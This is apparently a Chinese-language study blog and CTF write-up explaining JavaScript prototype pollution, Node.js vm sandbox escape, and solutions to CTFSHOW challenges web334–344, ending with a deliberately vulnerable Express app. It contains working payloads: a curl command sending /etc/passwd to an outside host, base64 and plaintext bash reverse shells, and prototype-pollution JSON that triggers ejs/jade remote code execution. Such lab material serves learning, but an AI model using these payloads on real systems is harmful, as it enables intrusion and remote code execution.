原型链污染
深入了解JavaScript
在JavaScript中,一切皆对象
当我们创建一个js对象如
var a = {};
它会拥有一些自带的属性,如
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
这里test()函数的内容其实就是test类的构造函数
而constructor这个属性就是用于查看对象的构造函数
接下来我们要知道prototype和**__proto__**又是什么
从类的角度讲,prototype
是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__
出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。
这个特性被用于实现JavaScript中的继承机制,为什么我们定义的a有 toString() 属性?这正是继承机制的作用。
对于a而言有个__proto__属性指向window.Object.prototype
这样你在调用a.toString() 的时候,a本身没有 toString,就去 a.__proro__ 上面去找 toString。
所以你调用 a.toString 的时候,实际上调用的是 window.Object.prototype.toString
对于p神的例子我的理解是对Foo类的父类添加一个show函数,同样是利用继承来实现存在foo.show()
总结一下
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性 - 类在运行程序运行时是可以修改的
JavaScript的原型与原型链
这种继承机制使得JavaScript中有原型和原型链的存在
原型
①所有引用类型
都有一个__proto__(隐式原型)
属性,属性值是一个普通的对象
②所有函数
都有一个prototype(原型)
属性,属性值是一个普通的对象
③所有引用类型的__proto__
属性指向
它构造函数的prototype
原型链
当访问一个对象的某个属性时,会先在这个对象本身属性上查找,如果没有找到,则会去它的__proto__隐式原型上查找,即它的构造函数的prototype,如果还没有找到就会再在构造函数的prototype的__proto__中查找,这样一层一层向上查找就会形成一个链式结构,我们称为原型链。
举例:
若有代码
function Parent(month){
this.month = month;
}
var child = new Parent('Ann');
console.log(child.month); // Ann
console.log(child.father); // undefined
则在child中查找某个属性时会
什么是原型链污染
Object.prototype是一个对象,用于表示Object的原型对象。几乎所有的JavaScript对象都是Object的实例,其原型链上最后一个就是指向Object.prototype。
所以我们可以通过修改Object.prototype来实现对变量的修改
可以看到我们将a._proto_.bar 设置为2
新定义的变量也有了bar属性,且为2
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
原型链污染的利用
当存在控制数组(对象)的“键名”的操作时,我们就可以设置__proto__的值,从而实现原型链污染
最显然的情况
obj[a][b] = value
obj[a][b][c] = value
如果控制了a,b,c及value就可以进行原型链污染的攻击,
可以控制a=__proto__
,,我们就可以给object对象的原型设置一个b属性, 值为value. 这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下, 都会拥有b属性, 且值为value.
利用特殊的api
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
例如
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
这时如果key是__proto__不就可以直接修改其原型了吗
但是这里并没有成功,这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
只有经过JSON.parse解析,才能让__proto__
代表了一个key
成功污染
参考文章:
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
【原型和原型链】什么是原型和原型链_沉迷学习 日渐消瘦-CSDN博客_原型链
从杭电hgame-week4学原型链污染 - 简书 (jianshu.com)
三张图搞懂JavaScript的原型对象与原型链 - 水乙 - 博客园 (cnblogs.com)
JavaScript Prototype污染攻击(CTF 例题分析)_a3320315的博客-CSDN博客
node.js 沙盒逃逸
背景
在nodejs当中了,eval始终存在着一定的问题,能够出乎意料的执行系统命令。
对于存在利用可能性的eval函数,可以使用chile_process.exec来间接调用/bash.sh。
它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
like:
读取文件:
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
反弹shell:
q=require('child_process').exec('echo YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xLzQ0NDQgMCZndDsmMQ==|base64 -d|bash');
即bash -i >& /dev/tcp/192.168.114.1/4444 0>&1
类eval函数:
setInteval(some_function, 2000)
setTimeout(some_function, 2000);
相当于匿名函数,即php当中create_function。
eval/Function 算是动态执行 JS,但无法屏蔽当前执行环境的上下文,但 node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。
在这段代码中,我们明明定义了y=2但仍然显示y不存在,这正是vm的作用
vm.runInContext()方法用于编译代码。它在contextifiedObject的上下文中运行代码,然后返回输出。此外,正在运行的代码无法访问本地范围,并且以前使用vm.createContext()方法将contextifiedObject对象上下文化。
也就是说我们将code这段要编译和运行的代码限制在了context域中,无法访问到超出上下文外的任何信息
这看起来是十分安全的方式
但在官网中有这样一段话vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。
也就是说,vm模块同样有被逃逸的风险
VM逃逸
const vm = require("vm");
const ctx = {};
vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");
这段代码就是利用了原型链进行vm逃逸导致了程序的提前退出
创建vm环境时,首先要初始化一个对象 ctx,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。然后利用constructor来得到Function
函数构造器就像javascript给出的最高函数,它可以访问全局范围,因此它可以返回任何全局的东西。 函数构造器允许你从一个字符串中生成一个函数,从而执行任意代码。
上述代码在执行时,this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,vm 虚拟机环境中的代码逃逸,获得了主线程的 process 变量,并调用 process.exit(),造成主程序非正常退出。
所以我们能够用process变量来做更多的东西
或者这样
参考文章
ctfshow—Node.js漏洞总结_cosmoslin的博客-CSDN博客
Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
CTFSHOW nodejs部分
web334
用户名不为CTFSHOW,还要经过大写转换后等于CTFSHOW,所以传入ctfshow密码为123456就行
web335
js的命令执行
可以使用chile_process.exec来间接调用/bash.sh。
它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
exec因为返回值的问题没法利用
所以这里可以用execSync
eval=require('child_process').execSync('ls')
eval=require('child_process').execSync('cat fl00g.txt')
或者spawnSync
eval=require('child_process').spawnSync('ls').stdout.toString()
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
还可以用global.process.mainModule.constructor._load替代require
eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
web336
过滤了exec
但是可以用spawnSync
还可以利用fs模块文件操作
eval=require('fs').readdirSync('.');
eval=require('fs').readFileSync('fl001g.txt');
web337
数组绕过,但是不同于php的数组绕过
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
传入a和b两个参数,长度相同但并不相等,同时拼接上flag的md5值相同
js有个很奇怪的特性
不能直接比较两个数组
而且拼接字符串时也有个特性
也就是说我们传入a[]=1&b[]=1就能完美满足if判断得到flag
而如果我们传入的是非数字索引,那么他就会变成js中的对象
对象的拼接又有这种特性
所以我们传入a[x]=1&b[x]=2同样可以满足if判断拿到flag
web338
common.js里有copy函数
猜测是原型链污染
看login.js
让secert的ctfshow属性等于36dboy
{"__proto__":{"ctfshow":"36dboy"}}
抓包之后改一下
web339
非预期解:利用ejs模板rce漏洞
羽师傅的payload:
{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _llama2"}}
反弹之前可以先关一下服务器的防火墙systemctl stop firewalld
几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
CVE-2020-7699漏洞分析_gental_z的博客-CSDN博客
预期解:
登录部分
同样的copy函数
这里要求ctfshow=flag的内容,可我们并不知道flag
我们再看看api.js
Function里的query变量没有被引用
如果我们可以利用原型链控制query的值,那么就能实现反弹shell的操作
但是这个是变量不是变量的属性,也能污染吗
答案是可以的
因为所有变量的最顶层都是object,当前环境没有,它会直接去寻找Object对象的属性当中是否有这个键值对是否存在
所以我们可以构造payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}
在login页面post一下进行污染
然后访问一下api页面触发query
web340
登录部分
copy函数:
这道题与web339利用点是相同的,我们同样要利用原型链污染来控制query的值达到反弹shell的目的。但是需要向上污染两级才能到达Object对象
所以我们的payload为
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}}
同样传入之后访问一下api页面就行
web341
没有了api.js
所以只能用web339的那个非预期解,只是要跟web340一样向上污染两级
{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/117.50.172.142/8082 0>&1\"');var _llama2"}}}
web342-web343
同样是模板引擎的rce,不过不是之前的ejs,而是jade
再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
ejs原型污染rce分析 - 先知社区 (aliyun.com)
用一个payload都能打
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/117.50.172.142/8082 0>&1\"')"}}}
web344
代码:
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
如果没有过滤,那么我们直接传入
?query={"name":"admin","password":"ctfshow","isVIP":true}
就行,但是题目把逗号和他的url编码过滤了
这时就要尝试用&绕过
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
所以最终payload为
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
把c也编码的原因是防止和双引号的url编码构成%22c
1
const crypto = require('crypto');
const express = require('express');
const session = require("express-session");
const app = express();
const jwt = require("jsonwebtoken");
const fs = require("fs")
const bodyParser = require('body-parser')
session_secret = Math.random().toString(36).substr(2);
const cookieParser = require('cookie-parser');
const {json} = require("express");
app.use(cookieParser(session_secret));
app.use(bodyParser.json())
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))
const secret = crypto.randomBytes(18).toString('hex');
app.post('/register', function (req, res) {
const username = req.body.name;
if ( username == 'admin'){
res.send("admin not allowed");
return
}
const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
res.send({token: token});
});
app.post('/login', function (req, res) {
const token = req.body.auth
try {
jwt.verify(token, secret, {algorithm: 'HS256'},function (_,user){
console.log(user)
req.session.user = {"username":user.username}
});
}catch (e) {
res.send("login error")
return
}
res.send(req.session.user.username + " login successfully")
});
app.post('/readfile', function (req, res) {
if (req.session.user.username !== "admin"){
res.send("only admin can get flag")
return
}
if (typeof req.body["secret"] !== "number"){
//仅允许16进字符串
let regex_pattern = /^[a-fA-F\d.]+$/
if (!regex_pattern.test(req.body["secret"])){
res.send("only valid string under 16 radix allowed")
return
}
}
if (req.body.file && parseInt(req.body["secret"],16) === 158 && parseFloat(req.body["secret"]) < 9){
let file_param = JSON.stringify(req.body.file)
if (file_param.includes("flag") || file_param.includes("fd")) {
res.send("flag not allowed")
return
}else {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.body.file || "app.js").toString())
return
}
}
res.send("try to read /flag")
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
1